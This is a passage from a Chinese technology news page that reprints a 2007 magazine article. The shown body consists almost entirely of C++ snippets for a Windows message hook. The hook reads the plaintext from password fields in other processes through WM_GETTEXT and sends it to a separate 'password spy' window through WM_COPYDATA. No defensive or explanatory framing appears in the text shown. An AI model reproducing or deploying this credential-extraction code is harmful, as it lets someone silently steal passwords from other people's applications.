扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
作者:陈晖 来源:计算机与信息技术 2007年10月16日
关键字:
TCHAR szBuffer[256] = {_T('\0')};//分配一个缓冲区 SendMessage(hWnd,WM_GETTEXT,//向注入钩子进程发消息获得密码文本 sizeof(szBuffer)/sizeof(TCHAR), (LPARAM)szBuffer);//保存在缓冲区中 COPYDATASTRUCT cds = {0};//定义一个cds结构体 cds.dwData = (DWORD)hWnd;//dwData保存该进程句柄 cds.cbData = (lstrlen(szBuffer) + 1) * sizeof (TCHAR); //cbData保存数据长度 cds.lpData = szBuffer;//lpData指向缓冲首地址 SendMessage(hPwdSpyWnd,WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);//利用WM_COPY DATA消息给获取密码进程发送密码 |
if(g_hHook == NULL) { //从共享资源中读数据,最终获取钩子句柄 DWORD dwData = 0, dwSize = sizeof (DWORD); g_obIPC.Lock();//g_obIPC为CIPC对象,进入线程的同步 g_obIPC.OpenIPCMMF();//打开MMF文件 g_obIPC.ReadIPCMMF((LPBYTE)&dwData, dwSize);//读数据给dwData g_obIPC.Unlock();//取消线程同步,退出临界区 g_hHook = (HHOOK)dwData;//将读到的数据赋值给钩子句柄,本文的关键所在 } if(nCode >= 0)//忽略小于0的值 { HWND hWnd = NULL; //密码控件所在的窗口句柄 HWND hPwdSpyWnd = NULL;//获取密码进程的窗口句柄 MSG *pMsg = (MSG*)lParam; if(pMsg->message == g_wmScanPassword)//是否我们登记的消息 { hWnd = (HWND)pMsg->wParam; hPwdSpyWnd = (HWND)pMsg->lParam; ExtractPassword(hWnd, hPwdSpyWnd); //通过发送消息得到密码 } } return CallNextHookEx(g_hHook, nCode, wParam, lParam);//返回下一钩子过程 |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者